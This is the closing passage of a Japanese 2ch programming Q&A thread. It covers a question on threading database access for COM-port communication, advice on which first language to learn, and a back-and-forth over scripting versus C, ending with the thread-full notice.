同じプロトコルで通信をするんですけど、その結果をDB
に書きたい場合、どういう方法をとるのが一般的ですかね。

1.各COM通信スレッドで個別にセッションを開いてDBアクセス
2.各COM通信スレッドと別のDBスレッドで通信
3.各COM通信スレッドとメインスレッドで通信してメインでDBアクセス

DBスレッド(メインスレッド含む)の場合って、どういう通信方法
使うのがスマートなんでしょ。
0970デフォルトの名無しさんNGNG
>>969
ORACLEでもAccessでも同じ考えするのか?お前
0971デフォルトの名無しさんNGNG
Oracleでも同時に同じテーブルには書けないんじゃないの?
排他制御しないと
あと、一応ドラゴンボール板は別にある

データベース
http://pc5.2ch.net/db/
0972デフォルトの名無しさんNGNG
>>970
基本的に。
>>971
同じフィールド触らなければ問題ないでしょう。

DBの質問というか、プログラム組むときの構成…っていうか
みんなどうやってるのかなーっていうのが知りたいのがメインかな。
一人で組んでると固定観念に嵌って抜け出せないから。
0973デフォルトの名無しさんNGNG
>>972
同じフィールドじゃなくて同じレコードだった…
0974デフォルトの名無しさんNGNG
>>972
別セッションでいいかどうかは仕様から決定できるでしょ。
俺は、同一セッション“でなければならない”ときはメインとは
別スレッドにして、キュー経由で渡すようにしてるけど。
0975デフォルトの名無しさんNGNG
>>974
じゃあ…
別スレッドにした場合、COMスレッドからの要求でDBからの内容を返す
場合とかはどうしますかね。
QUEUE作って(或いはメッセージで)ピンポン?
0976デフォルトの名無しさんNGNG
これからプログラミングを始めようとしている漏れは
CかJavaどっちから始めればいいのか?
また他の言語なのか?助言を求む
0977デフォルトの名無しさんNGNG
画像処理でよく出る「プレーン/バンク」って何のこと?
教えてエロイ人。
ちなみに使っているのはシャー○のGPB−Kってやつ。
0978デフォルトの名無しさんNGNG
>>976
今からC始めるやつは馬鹿。
古文と国語どちらを先に覚えるべきかは言うまでもない。
0979デフォルトの名無しさんNGNG
>>978
コンピュータ言語は自然言語とは違って並列した関係ではない。
0980デフォルトの名無しさんNGNG
>>976
2ch見てるひまがあったら両方しる
0981デフォルトの名無しさんNGNG
プログラム言語は、なぜ新しいものが量産されるのか。
何か知らないがいろいろあるよな。
Javaとか、VBScriptとかJavaScriptとかRubyとかPerlとかPHPとかC#とか。
流行に乗らなければいけないのか。
C言語で間に合うことが多いと思うが。
そのほかにC++やObject Pascalがあれば十分じゃないかと思うんだが。
0982デフォルトの名無しさんNGNG
Ruby >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>その他
0983デフォルトの名無しさんNGNG
>>985
次スレよろしく
0984デフォルトの名無しさんNGNG
>>981
スクリプトはいるだろ
コンパイル済のバイナリと違ってソース見れるし、いじれるし
0985デフォルトの名無しさんNGNG
次スレ
http://pc5.2ch.net/test/read.cgi/tech/1065535118/
0986デフォルトの名無しさんNGNG
 スクリプトか。
 スクリプトでやるようなことを、いつもC言語で作るからな。
 コンパイル済みのバイナリであっても、ソースは自分で管理してるから。
 再コンパイルが、そんなに煩わしいかな。
 PC DOSのREXXを学習してプログラム作ろうと思いかけたけど、C言語で作れるから
わざわざ使う意味無いからやめた。普通のDOSのバッチファイルは作ることはあるけど。
0987Ruby!NGNG
なにコイツwwwwwwwwwww
0988デフォルトの名無しさんNGNG
>>986
はぁ…
0989984NGNG
しまった
馬鹿にマジレスしてしまった。
あとは知らん
0990デフォルトの名無しさんNGNG
>>986
は…はずかしいです…
0991デフォルトの名無しさんNGNG
>>990
意味がわからない。
何で恥ずかしいのか。
スクリプトがどうかしたかな。
wordやexcelを動かすためなら、vbaを使うし、使えるけど。
0992デフォルトの名無しさんNGNG
しまった、下げ損ねた。
0993デフォルトの名無しさんNGNG
いや、素人目から見ても恥ずかしいと思えるぞw
0994デフォルトの名無しさんNGNG
っと、>>991は自称玄人だから素人目、というのを理解できないんだったなw
0995デフォルトの名無しさんNGNG
恥ずかしいな。確かに。
かなり斜めから見ると、これぞ「江戸っ子」とも言える。
0996デフォルトの名無しさんNGNG
このまま次スレ立たずに1000
0997sageNGNG
DOSコマンドの質問はここでできますか?
0998デフォルトの名無しさんNGNG
>>997
どうぞ
0999sageNGNG
もうスレ終わっちゃいますね・・
1000デフォルトの名無しさんNGNG
1000ならRubyは死滅
10011001Over 1000Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。